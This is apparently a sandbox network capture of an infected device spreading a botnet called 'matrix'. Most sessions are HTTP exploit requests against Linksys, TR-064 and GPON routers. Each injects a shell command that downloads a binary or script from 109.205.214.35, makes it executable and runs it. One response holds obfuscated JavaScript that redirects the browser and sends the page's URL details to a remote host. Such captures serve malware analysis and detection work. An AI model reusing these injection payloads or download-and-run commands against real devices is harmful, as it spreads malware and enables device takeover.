Mar 21, 2024 05:23:06.234436035 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:06.328171968 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:23:06 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_INVALID_URL 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from ph-0f83112c Via: 1.1 ph-0f83112c (squid) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 33 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 33 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2023 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2023 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;fon

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.14	38480	157.231.206.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.052810907 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:06.227348089 CET	134	IN	HTTP/1.1 302 Found Location: https://127.0.0.1:443 Content-Length: 0 Date: Thu, 21 Mar 2024 04:23:03 GMT Server: DrayWebServer

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.14	55546	81.155.220.102	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.431824923 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.14	17322	213.176.32.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.433650970 CET	1384	IN	HTTP/1.1 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 1254 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 6c 48 62 6d 57 43 6d 71 4a 51 22 3e 3c 2f 61 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 20 20 66 75 6e 63 74 69 6f 6e 20 62 63 28 65 29 7b 65 3d 65 7c 7c 33 32 3b 76 61 72 20 74 3d 22 41 42 43 44 45 46 47 48 4a 4b 4d 4e 50 51 52 53 54 57 58 59 5a 61 62 63 64 65 66 68 69 6a 6b 6d 6e 70 72 73 74 77 78 79 7a 32 33 34 35 36 37 38 22 2c 61 3d 74 2e 6c 65 6e 67 74 68 2c 6e 3d 22 22 3b 66 6f 72 28 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 6e 2b 3d 74 2e 63 68 61 72 41 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 61 29 29 3b 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 61 61 61 28 29 7b 63 6f 6e 73 74 20 6d 69 6e 3d 36 3b 63 6f 6e 73 74 20 6d 61 78 3d 31 32 3b 76 61 72 20 69 6e 64 65 78 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 6d 61 78 2d 6d 69 6e 2b 31 29 29 2b 6d 69 6e 3b 72 65 74 75 72 6e 20 62 63 28 69 6e 64 65 78 29 7d 66 75 6e 63 74 69 6f 6e 20 62 62 62 28 29 7b 63 6f 6e 73 74 20 6d 69 6e 3d 31 30 30 30 30 3b 63 6f 6e 73 74 20 6d 61 78 3d 36 30 30 30 30 3b 76 61 72 20 69 6e 64 65 78 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 6d 61 78 2d 6d 69 6e 2b 31 29 29 2b 6d 69 6e 3b 72 65 74 75 72 6e 20 69 6e 64 65 78 7d 76 61 72 20 73 74 72 55 3d 77 69 6e 64 6f 77 2e 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 3d 22 29 2b 61 61 61 28 29 2b 77 69 6e 64 6f 77 2e 61 74 6f 62 28 22 4c 6a 46 79 4f 54 4d 31 4c 6d 4e 76 62 54 6f 3d 22 29 2b 62 62 62 28 29 2b 22 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 62 74 6f 61 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 29 29 29 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 62 74 6f 61 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 29 29 29 2b 22 26 73 3d 22 2b 77 69 6e 64 6f 77 2e 62 74 6f 61 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 29 29 3b 6c 48 62 6d 57 43 6d 71 4a 51 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 48 62 6d 57 43 6d 71 4a 51 22 29 2e 63 6c 69 63 6b 28 29 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 21 30 2c 21 30 29 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 48 62 6d 57 43 6d 71 4a 51 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <title>Loading</title> </head> <body> <a href="" id="lHbmWCmqJQ"></a> <script type="text/javascript"> function bc(e){e=e\|\|32;var t="ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678",a=t.length,n="";for(i=0;i<e;i++)n+=t.charAt(Math.floor(Math.random()a));return n}function aaa(){const min=6;const max=12;var index=Math.floor(Math.random()(max-min+1))+min;return bc(index)}function bbb(){const min=10000;const max=60000;var index=Math.floor(Math.random()*(max-min+1))+min;return index}var strU=window.atob("aHR0cHM6Ly8=")+aaa()+window.atob("LjFyOTM1LmNvbTo=")+bbb()+"/?u="+window.btoa(unescape(encodeURIComponent(window.location.origin)))+"&p="+window.btoa(unescape(encodeURIComponent(window.location.pathname)))+"&s="+window.btoa(unescape(encodeURIComponent(window.location.search)));lHbmWCmqJQ.href=strU;if(document.all){document.getElementById("lHbmWCmqJQ").click()}else{var e=document.createEvent("MouseEvents");e.initEvent("click",!0,!0),document.getElementById("lHbmWCmqJQ").dispatchEvent(e)} </script> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.14	48810	201.196.205.72	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.554132938 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:06.743814945 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.14	35058	50.45.255.138	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.554872036 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.14	55596	81.155.220.102	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.604186058 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.14	48848	201.196.205.72	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.726597071 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:06.900959015 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.14	35100	50.45.255.138	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.744597912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.14	45630	20.237.51.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.457010031 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:07.965388060 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:08.097933054 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:08 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.14	42178	165.227.4.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.513705969 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:07.671617985 CET	296	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:07 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.14	43748	5.201.206.32	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.637759924 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
